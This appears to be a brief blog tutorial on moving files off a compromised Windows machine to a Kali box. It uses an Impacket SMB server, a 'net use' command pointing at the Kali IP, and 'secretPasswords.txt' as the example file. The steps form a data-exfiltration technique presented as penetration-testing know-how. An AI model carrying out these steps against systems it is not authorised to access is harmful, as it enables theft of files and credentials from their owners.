Transfer Files from Windows to Kali

Here is an easy way to transfer files from a Windows computer to your Kali box. This of course would be post-compromise.

The tool being used is smbserver.py from Impacket. This should already be on your Kali box by default, but if not you can grab it from Github:

Once you're ready, here are the steps you can take.

On Kali

python3 /opt/impacket/examples/smbserver.py -smb2support myshare2 .        

• This command opens up the share on the Kali box
• Make sure to use the flag -smb2support or you will get an error when you try to transfer
• myshare2 is just the name I used for the share I created. This can be anything you want.
• The dot " . " at the end means that I want the share created in my current location. You can also enter a path if you want /path/to/wherever

On Windows

From the Windows Command Prompt

net use \\<IP to your Kali box>\myshare2        

(In the screenshot I left off the "2" at the end of my file share name by accident, but it should end with the name of your share)

On Windows Explorer

• I like to open two Explorer windows.
• One has the file I want to transfer, "secretPasswords.txt" for example.
• The second is where I will connect to the server on my Kali box.
• To connect enter the IP address of your Kali box followed by the name of the share.

\\<Kali IP>\myshare2        

• Now just drag the file you want to move from the first Explorer window to the Explorer Window connected to the share.

On Kali

• Open a new terminal and move to where the share is open and you should have the file you wanted.

I hope this was helpful for you. When I needed to know how to do this, I found lots of resources on how to move files from Kali to Windows, not the other way around.
